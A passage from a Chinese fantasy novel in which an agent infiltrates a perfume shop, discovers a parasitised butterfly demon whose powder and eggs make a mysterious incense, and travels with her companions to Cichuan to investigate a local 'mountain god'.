暗门里的空间窄而长,大约只比顾岁寒的肩宽一点。顾岁寒紧紧闭着双眼,腿张开卡住两侧防止自己下滑,只留天眼看着外面。
刹那浓烈的香气包围了她。周围是一片耀眼的荧蓝色,顾岁寒恍惚间还以为自己跳进了大海里。奇怪的是,这些忽明忽暗的光点并没有因为她的进入而发生改变,仿佛死物般停在原地,围观着这个贸然闯入的生灵。
但顾岁寒没来得及思考这其中的诡异之处。她的“目光”紧紧盯着门外的溯水,一把薄如蝉翼的刀片悄然滑入空闲的手心。
实在到了不得已的地步,她也不介意用强硬的方式解决问题。
屋漏偏逢连夜雨,就在此时,天眼的能力几乎到了尽头。顾岁寒眉心微微发热发酸,这是天眼要消失的预兆。她一咬牙,干脆将天眼关了,只用听力来辨别对方的位置。
看不见周围的环境,深-入未知的恐惧感陡然提升。顾岁寒感觉自己仿佛听见了蝴蝶振翅的声音,几息之后才反应过来这是精力过度集中下产生的耳鸣。
可奇怪的是,溯水到了门口之后,脚步忽然停住了,发出了一声小小的:“欸?”
溯水为什么忽然停下了?是因为她进门时留下了什么痕迹吗?顾岁寒刹那间将自己从出库房到进溯水卧房的一系列动作走马灯似的在脑内过了一遍,却很难确定自己是否真在匆忙之下露了什么马脚。
奇怪的是,“欸”了一声之后,溯水犹豫了一下,重新下楼了。
顾岁寒拿不准她下楼的原因,所以一时间没敢动弹。可溯水似乎真的只是忽然又不打算睡了。她又把自己那套调香的东西取了出来,叮叮当当地开始鼓捣。
进来前顾岁寒观察过了,这处卧房的窗户是开的,也就是说她开暗门时那点味道很快就会散开。溯水哪怕再回来,短时间内也不会发现有人进了密室。
顾岁寒定了定心神,将刀收回袖中,缓缓睁开了双眼,向脚下看去。奇怪的是,不同于天眼中看到的景色那样壮观,此地乍一看去就是一个平凡的小屋。月光从糊得厚实的窗纸间投进来,照得地面微微发光。
可天眼中的那一幕实在是太壮观了。顾岁寒没有掉以轻心,从乾坤袋里掏了个夜明珠出来,手前伸让它的光亮照明四周。
——她瞬间明白了天眼看到的光点是什么。
夜明珠柔柔的光照下,这间密室里的墙折射出彩虹般的弧光,像是涂了临安贵女间时兴的珍珠粉一般。惊疑不定之下,顾岁寒抽回另一只支撑着墙面的手,发现自己手上也沾满了墙上那种颜色奇异的粉尘。
……这到底是什么东西?
顾岁寒一松手,让灵力托着夜明珠轻轻落了地。夜明珠能照亮的下层空间中,这粉末的浓度明显比上面更高。她闻了闻自己的手,确定开暗门时那种奇特的香味正是源于此。
思量再三,顾岁寒深吸一口气,落到夜明珠旁边,猎豹似的蹲伏在原地。
陡然变浓的香气呛得她差点打出个喷嚏,可眼前的景象更让她震惊,鸡皮疙瘩顺着后背,缓缓爬上了头皮——
正面对着她的那堵墙上,一只人脸大的青色蝴蝶在墙上爬行。它爬过的地方,细长的尾巴留下了一条长长的,斑斑点点的痕迹。
而随着这蝴蝶的移动,它的翅膀也轻轻颤动,上面沾的磷粉簌簌抖落,浓郁的香氛随之散开。
十数里之外,陈二娘和端木昂两人回到客栈后,简单收拾了行李,洗漱过后,沉沉进入了梦乡,两道均匀的呼吸声此起彼伏。
忽然,其中一道呼吸声断开了。黑暗之中,端木昂猛地睁开了双眼!
夜色分明沉静如水,他却像是听见了什么声音般,耳廓像狐狸一样朝后转去。少顷,他翻身而起,绕过屏风推醒了陈二娘:“拿上东西,走!”
陈二娘睁开眼,看到了对方眼里的焦急,也没细问,干脆利落地翻身而起。两人拎上睡前就收拾停当的东西,从后窗翻身而去!
就在他们消失在后窗下密林中的下一瞬,一根粗针戳破了他们靠走廊的窗纸,一只眼睛出现在孔洞另一侧,往里面看了一圈,随后眼睛的主人站起身,对后面的人道:“头儿,里面没人。”
被称为“头儿”的人尖嘴猴腮,下三白的眼睛一瞟,满脸写着“我不是好人”。倘若宋安澜在此处,便能认出来此人是沈和正的左膀右臂之一,人称“雁哨”,专门帮沈和正处理需要抛头露面的归雁台事务。
雁哨嘴角要笑不笑地一挑:“跑得挺快,还挺机灵的。”
手下战战兢兢:“那头儿,我们还要追吗?”
“不追,”雁哨转身便走,“这俩都是小鱼小虾,是用来钓大鱼的,现在就捉了有什么意思?走了,咱们把此事报给主人,剩下的就不用咱们操心了。”
另一边,密林里。陈二娘跟着端木昂跑出去三四里,前面的端木昂才停下了脚步。两人扶着树干喘匀了气息,端木昂才解释道:“有人冲着咱们来了。”
陈二娘紧张道:“谁?”
“不知道。”端木昂摇头,“应该是两个人,训练有素,脚步轻而稳,应该是有功夫在身的。”
“执棋还在城里,”密林的地势比较高,陈二娘远远看着山下城中星星点点的灯光,担忧道,“他们找不到我们,会不会就冲着执棋去了?我们要不要去找她?”
不等端木昂回答,她又自顾自地否定了自己:“不,执棋这么厉害,咱们只能添乱,还是先别过去了。”
端木昂颇为惊讶地瞥了她一眼,赞同了她的说法:“嗯,咱们先在山中待一-夜,等明早天亮了再给执棋烧传音符吧。”
陈二娘有一点没说错,他俩过来确乎只能添乱——因为她自己现在正面临着一个不大不小的麻烦。
进入密室后,她谨慎地和那蝴蝶对视半晌,意识到对方应该是意识不到自己的存在的。它的复眼大而无神,应该是已经瞎了。
那刚刚那种危险的视线究竟是哪来的?
顾岁寒放轻步伐,在密室里转了一圈,确定这里就是一楼少了的那块空间。这房间四面都用泥沙糊死了,除了那蝴蝶以外没有别的东西,所以顾岁寒勘察一圈后又回到了蝴蝶面前。
走近了顾岁寒才发现,她原本以为的蝴蝶行走留下的斑斑点点的粘液,其实是它产下的卵。有些已经比较干燥的卵已经有了一个小小的黑点,似乎是要孵化的意思。
可这房间里并没有其他的生灵,这些卵孵化出的毛虫去哪里了?
她没忍住,等那无知无觉的蝴蝶爬过她面前之后,拿着夜明珠凑近墙面,试图细细看看那些卵;可就在这时,那种凝视感又一次出现了!
顾岁寒的后背寒毛陡然竖了起来。也不知是不是初生牛犊不怕虎,她不退反进,直接顺着那奇异感觉的来源看了回去。在看清对方的真面目时,她愣住了。
那是一只趴在大蝴蝶背上的小蝴蝶。由于那大蝴蝶实在太震撼了,所以一眼看去叫人完全忽略了小蝴蝶的存在。
这小蝴蝶仿佛是大蝴蝶的缩小版,但细看也有些许的不同。这小蝴蝶的翅膀更偏向于青黑色,而且相对于它肥壮的身体而言,它的翅膀有些小了,让人不禁怀疑它能不能飞起来。
——很快,顾岁寒就发现了它如此膘肥体壮的原因。
在两只蝴蝶连结的地方,小蝴蝶伸出自己细长的口器,插-进了大蝴蝶的后背,就在顾岁寒看它这会的功夫,那小口器就啧啧吸走了不少血肉,仿佛在吸取什么琼浆玉液。
而大蝴蝶就这样无知无觉地爬行,行尸走肉般留下一串串蝶卵。
顾岁寒和那寄生般的蝴蝶“对视”,一边有些生理性的反胃,一边意识到了一个事实:这小蝴蝶似乎不能从大蝴蝶身上下来。
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所以它只能虚张声势地把自己所有的精力都用来恐吓冒犯它领地的人,却不能给别人带来任何实际意义上的伤害。
习惯了它的“目光”之后,顾岁寒甚至大着胆子伸出手作势要“抓”那小蝴蝶。果不其然,它只是徒劳地扑闪了两下翅膀,浑身发着抖,却完全没有从大蝴蝶身上下来或是要攻击她的意思。
大蝴蝶的背是它的温床,也是它永恒的牢笼。
不知为何,顾岁寒看它躲闪的样子有种莫名的即视感,但思量片刻后也没想起来具体眼熟在哪里,只好暂时放弃了思考,开始观察那些刚产下的蝶卵,时不时瞟一眼那大蝴蝶的位置,避免和它正面撞上。
也不知走了几步,顾岁寒忽然感觉脚下的地面有些异样,于是蹲下来仔细查看。夜明珠的光照下,一个四四方方的框凭空出现在砂土地上。顾岁寒伸手敲了敲,底下的声音空空的,应该也是一处活板门。
怪不得楼上的暗门建的那么高,还没个梯子搭手,原来是底下还有个出口。顾岁寒在心里盘算着一会可以从此处出去,正好免得打扰可能已经回房了的溯水。
对了,她忽然警醒,说起溯水,她是不是有段时间没听见溯水的声音了?
潜入别人家宅时丢失了对家中人位置的掌控是一件很危险的事,偏偏此地用泥沙封层,外界声音传进来都削弱了不少。顾岁寒竖起耳朵听了半天也没听见什么声音,只有大蝴蝶的足肢“嚓嚓”作响。
冥冥中一种莫大的危机感将她包围起来。一桩桩不合理的事件在她脑中回放:溯水明明到了卧房前又回去的脚步,半夜三更仍然灯火通明的青鸟坊一楼,还有无咎房中明明已然入睡却还点着的那盏灯烛……
蝴蝶夜间看不见是没错,可睡着了为什么还要点灯?这是他自己家,又不需要他枕戈待旦。
除非他提前知道自己有什么事需要半夜做,只不过过度的困倦让他要小憩一会。
顾岁寒瞬间就做出了判断,掀开地上的活板门,故技重施钻了进去;事实证明她这个推断是正确的,因为她进出带起的风吹乱的蝴蝶磷粉刚刚尘埃落地,密室顶上的活板门就豁然洞开!
顾岁寒深吸一口气,强压住自己狂跳的心跳,咬紧嘴里的匿身符,将夜明珠收了回去,以免从地缝里泄露的灯光暴露自己。
收起夜明珠前,她借着最后一缕光观察了一下自己的所在,确认自己正身处一条向前延伸的密道中。她进密室时比较匆忙,此地飞尘又多,她也不确定自己有没有留下什么会暴露自己的痕迹,只能先看好路线,一旦被发现就可以溜之大吉。
隐隐的声音隔着她头顶的泥板传来。顾岁寒判断应当有三个人从顶上的暗门进了密室,从脚步能听出来是溯水姐弟和一个没见过的陌生人。
那陌生人一进来就咳嗽不止:“咳咳……怎么这么呛人?荧粉这么久都没收吗?”
溯水赔着笑意道:“恩主很久没和我们要青玉案了,我们也不敢多做,怕放久了效用不够,只好先这么放着了。”
底下的顾岁寒悄悄竖起了耳朵——按照他俩的意思,这蝴蝶翅膀产生的粉末难不成是“青玉案”的原料?
“你这是什么意思,溯水,怨恩主不重视你们了不成?”
这话说得有些不阴不阳的意思。溯水连忙拜倒:“怎会!恩主救我族于水火之中,我们怎敢埋怨!”
“哼,希望是这样。”那陌生人不咳了,走近了大蝴蝶所在的这面墙,“咦”了一声:“这玄蝶看起来怎么有些没精打采,你们有人恐吓它了?”
“恐吓”玄蝶的罪魁祸首顾岁寒:……
她不动声色地往下蹭了蹭。
好在那人没想到有人就在他们脚底下偷听他们对话这一层,而是转头关心起了那批卵:“这批‘种子’看起来倒是不错,替我多装些吧,恩主最近用得多。”
溯水连忙上前。顾岁寒听着头顶上“簌簌”的声音,猜测她应当是在用什么东西把蝶卵从墙上刮下来。她一边刮,那来人还不依不饶地讽刺她:“溯水姑娘在这远离族群的地方搞这种养殖同族的勾当,眼睁睁看着自己的同族受苦受难,居然还能毫无芥蒂地取卵收粉,当真是心胸宽广啊。”
溯水冷冷道:“公子慎言。这青斑蝶毫无修习的潜质,拿来做我族振兴的梯子岂不正好?它九泉之下知道自己有此等妙用,也该死而瞑目了。”
头顶上的交锋还在继续。密道中的顾岁寒听着他俩的对话,不禁毛骨悚然。
凤彩珠说过,镇妖塔和玄蝶一族的关系紧密,而玄蝶一族全为雄性,只能依靠青斑蝶来生育后代。
第一次听说这件事时,顾岁寒还产生过一个小小的疑惑:青斑蝶和玄蝶听名字就不像同一种族,那青斑蝶是怎么生出玄蝶的呢?青斑蝶自己又是如何延续种族的呢?
当时,那个疑惑就好像一道流星飞过,很快就消失不见了。毕竟修习一道无奇不有,就算有人说老虎能生出狮子也不算什么新鲜事。
可现在这个答案摆在了顾岁寒眼前。她仿佛又感到了玄蝶那耀武扬威的目光。
青斑蝶被玄蝶选中,就此失去了自己的性命,为玄蝶产下不属于自己的后代。
而它的磷粉被制成香料,它的卵被当做“种子”收集,送到“恩主”手中。
最终,它的魂魄被埋于黄土之下。
52. 锦瑟 一
饶是知道妖族本为兽类,没什么人才有的礼义廉耻,顾岁寒也对这些蝴蝶寝同类之皮食同类之血的行为有些后背发毛。可紧接着她又想起来,人似乎也没好哪去。
远的不说,北周南盛同为人族,不也打得热火朝天么?
这么一想,她又有些哭笑不得了。头顶上的对话还在继续,但看样子似乎都是些没营养的嘴皮子交锋。
已经获得了想要的答案,顾岁寒也不留恋,干脆顺着地道往前走去。万一一会这俩人意兴起了,要从这条密道出密室,她可不想和她俩来个脸贴脸。
没有点灯,顾岁寒只能用手轻轻摸着密道的侧壁,感受着密道行进的方向。好在此地也不长,她大约走出去一丈半,密道的地势就开始上扬,尽头处放了个有点朽坏的小木梯。
顾岁寒尽可能轻手轻脚地顺着梯子上爬,以免它发出什么不该有的动静。爬了两三步,头上就碰到了顶。她伸手顶开,外面竟然是青鸟坊的后院。
她进来时也是从后院的墙翻进来的,只不过那时她一心扑在楼里的姐弟俩身上,这密道口又藏在灌木丛后面,用了浮土遮盖,是以她刚开始没注意到。
出来后,顾岁寒四下环视了一圈,心中微微一动,重新拿出夜明珠顺着地面一寸寸看了过去。她出来时有意没有弄乱周围的地面,是以现在密道口周围明显凌乱的土壤肯定是之前进密室的人弄出来的。
倘若是白天,光线良好,之前来搜查的落棋阁人会不会很快就会发现这个密道的存在呢?
“怪不得之前死活不让人进后院。”顾岁寒自言自语,手一撑翻上院墙,“当时那个韩玉青怕不是也藏在这里才没被发现……嗯。”
她没着急着落地,猿猴似的纵身一扑,落在巷子对面的院墙上,顺势上了另一边的房顶,随后几个提气纵跃,消失在了月光里。
城门还关着,顾岁寒不打算费力气绕开宵禁,干脆在靠着城墙脚的隐蔽地方靠着墙睡到了天亮开门,跟着出城的人流混了出去。刚一出城,端木昂的传音符就送到了她手中。顾岁寒按照他说的碰头地点找了过去,远远地就看见两个坐在茶摊上,吊着黑眼圈的下属。
从客栈逃出来后,陈二娘两人一路提心吊胆,生怕被人发现了行踪,怕扰乱了顾岁寒的计划,是以一直没敢合眼,走走停停来到了山脚,确认没有了追兵才敢给顾岁寒发传音。如今终于见到了主心骨,两人都松了口气,端木昂差点没落下泪来:“执……老大!你终于来了!”
顾岁寒看他俩雏鸟乞食的样子,乐不可支:“怎么了?才不到一天没见就这么想我?”
陈二娘愣了一下。不知是不是她天性敏感细腻,自打来了南疆,顾岁寒似乎就活泼了不少,嘴上也爱开玩笑了。虽说以前的执棋也会说些俏皮话,但和现在却不甚相同。
非要说的话……以前的执棋像是湖水,风吹过了,就浮起些许波澜;而现在的执棋就像是风本身,轻快地走过大街小巷,温柔地抚过每个人面庞。
难道是换了地方,人的心情也跟着变化了吗?
另一边,端木昂没察觉到顾岁寒那话是在开玩笑,吭吭哧哧道:“肯……肯定想啊,执、执棋昨夜有什么收获吗?”
顾岁寒将密室里的东西完完本本和他们说了一遍。茶摊远处也有行脚商人在歇脚,所以顾岁寒将声音压得很低,饶是如此,说到一些格外叫人反胃的地方,剩下两人也是忍不住地倒气。
“青玉案的香方我之前见过,没看到过什么特别的地方,当时还十分不解,现在想想,恐怕是少了昨天见到的那样东西。”顾岁寒总结,“那粉末和平时见到的蝴蝶翅膀上的粉末无甚不同,想来或许是因为青影蝶品种特殊的缘故?”
剩余两人皆沉吟不语。妖族的神妙之处浩如烟海,人族对此知之甚少,堪称管中窥豹。顾岁寒叹了口气:“不管怎么说,现下咱们也算是有了些头绪,看来这玄蝶一族是非去不可了。你们呢?怎么大半夜从客栈出来了?”
传声符能记录的声音有限,录的声音越多,传送的距离越远,就相应的越烧灵力,所以端木昂没把事情的前因后果说清楚。
陈二娘连忙把昨晚两人的经历简要说了一遍。听罢,顾岁寒深深皱起了眉:“能知道那些人是哪边的么?”
端木昂摇头:“当时听脚步,对方的武功远高于我们两个,所以我们没敢正面和他们对上。后来我给分舵的凤师姐送了信,让她帮我们调查。”
顾岁寒赞扬道:“做得好,端木。”端木昂脸上顿时红了一-大片,陈二娘小声道:“所以说执棋,我们下一步去哪里?”
“去慈川,”顾岁寒毫不犹豫,“山神一事恐怕和青玉案脱不开关系,就算完全无关,去看看那‘山神’到底是什么牛鬼蛇神也不错。”
俩人小鸡啄米似的点头,顾岁寒于是拍板定下:“那接下来就去慈川。”
她本想说“走吧”,话临出口看到面前两人有些疲惫的神色,想起来自己也一-夜没怎么睡,于是改口道:“……不过,大家都辛苦了,咱们先找个地方修整吧。”
话音刚落,剩下两个人同时露出了“太好了”的表情,顾岁寒奇道:“你们怎么都累成这样?平时出任务不经常半夜不睡么?”
端木昂喝了口之前叫的大叶子茶,面露痛苦之色:“别提了执棋,这山里实在太绕了,我俩昨夜急于摆脱追兵,进山时没注意到位置,山里雾又大,愣是绕了好久才走出来。”
陈二娘也补充:“对,雾里还总有些人影,走近了才发现是枯树桩子一类,但还是挺吓人的。我们听这里的茶博士说,这山上闹鬼的传言不少呢。”
端木昂也忙不迭地点头。顾岁寒哭笑不得:“好吧,其实在山上辨识方向挺容易的,回头我教你们,咱们就近找个地方落脚。”
两人如蒙大赦。这个茶摊的位置和慈川山脚已经很近了,顾岁寒向茶博士打听附近客栈的位置,茶博士也十分热情,给他们指了山脚的慈川县。
“这慈川在我们这里可有名了!”茶博士是个年轻小伙子,动作麻利地给几个人续上水,“那边风景好,山里药材也多,好多人都乐意去,客栈之类的肯定多!”
“那感情好。”顾岁寒将杯中茶一饮而尽,“结账,咱们去慈川。”
“好嘞!总共是四文钱!”
趁着顾岁寒掏铜板的功夫,茶博士乐呵呵地给他们介绍:“我看几位好像是北边来的?那不来我们慈川可是白来蜀中了。我们慈川风灵毓秀,连山神都眷顾呢!”
这是他们一行人来蜀中后第二次听到“山神”这个词了。端木昂第一次听还有些嗤之以鼻,以为这是当地老人的讹传,可茶博士这样的年轻人都信誓旦旦,他又有些将信将疑起来:“真的?我们来的路上也听说了山神,可别人不都说山神已然很久未曾现世了么?”
“唉!”茶博士连连摆手
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,“不能这么说,山神要是总现世,那还能叫山神吗?就算我们见不到她,她也是一直保佑着我们的。”
他说这话时表情极度虔诚,顾岁寒放下铜板,轻轻挡了一下还想说话的端木昂:“走了,端木,你不是说累吗?”又转头对茶博士笑道:“多谢您,回见。”
端木昂有些不情不愿地闭上嘴,跟在两人后面出了茶棚子。三人默不作声地向前走,直到看不见那个茶摊了,端木昂才凑上来:“执棋,难道这世上真有山神?可这怎么可能?”
所谓“山神”,要么是人飞升而成,要么是山川灵气化物,才能有庇佑一方的本事;若是前者,人间已有数百年没有修士飞升,谢停舟的师父无有大师号称“半步飞升”,哪怕还差半步,就已经名扬天下,这山神要真是神仙在世,落棋阁不可能没有他相关的记载;若是后者,大结界境内灵气匮乏已然是公认的事实,这山神要当真能从灵气化形,那也是借助了别的聚灵邪法,当不了一方正神。
顾岁寒想起方才茶博士那虔诚得有些魔怔的表情,还有青玉案祭神的传闻,没直接反驳端木昂,而是买了个关子:“说不定呢。”
毕竟,谁说山神一定是个神了?
慈川县说是个县,气派却并没比芜宁府差出去多少,街上往来的人反倒更热闹些。慈川的那个“川”——罗江穿城而过,两侧建筑犬牙呲互,一道道石桥斜穿河上,桥上挑担小贩和来往游人络绎不绝。
陈二娘“哇”了一声:“江南水乡!”
这话放在这其实有些不准确,慈川和江南隔了十万八千里,唯一可能相似的地方就是罗江可能确乎会流进钱塘江。
但不得不说,二娘这声感慨是有道理的。此地风景与旁的地方大不相同,连不到十里外的芜宁都不甚相似,确实很有些江南水乡的风味。
顾岁寒感受着空气中扑面而来的温热水汽,若有所思:“有意思。”
三人在罗江边上找了家还有空房的客栈落脚。此地客栈的掌柜是个胖乎乎的女人,笑得宽厚而温和。顾岁寒登记名姓和过关通牒时,陈二娘悄悄在她背在后面的手心里写了“吉象”两字。
这掌柜的居然是一头象妖。
为了防止昨晚那伙人再追上来,三个人分开住会有危险,所以顾岁寒要了一间最大的上房,好在落棋阁里所有黑棋几乎都从小就开始同吃同住,除开沐浴如厕不怎么讲究男女有别,出任务时住一间房也就是拉个屏风了事。
上房里只有内间外间两张床,顾岁寒又问掌柜要了套床褥打地铺,三人赌骰子大小,按输赢分了床。顾岁寒分到了地铺。
赌大小其实是阁里很常用的招数,但内里也有乾坤。玩得熟的黑棋能用指力掌控所有骰子落地时向上的点数,从而支使别的黑棋帮自己做事。
顾岁寒自己其实不怎么困倦,所以干脆利落地把床都让了出去。剩下两人简单打水洗漱后纷纷上了床,顾岁寒不好四处走动扰人睡眠,于是也和衣而卧,半睁着眼睛看着窗外。
渐渐的,两边都传来均匀绵长的呼吸声,顾岁寒听着那此起彼伏的规律声音,也渐渐有了睡意。
在被黑甜的梦乡包围之前,她忽然不合时宜地冒出来个问题——区区半夜没睡,多走些路就能把这两个在落棋阁的竞争中脱颖而出的黑棋累到在白天如此迅速地入睡吗?
可是来不及了。幻梦张开深渊巨口,将正在向边缘滑落的她一口吞噬。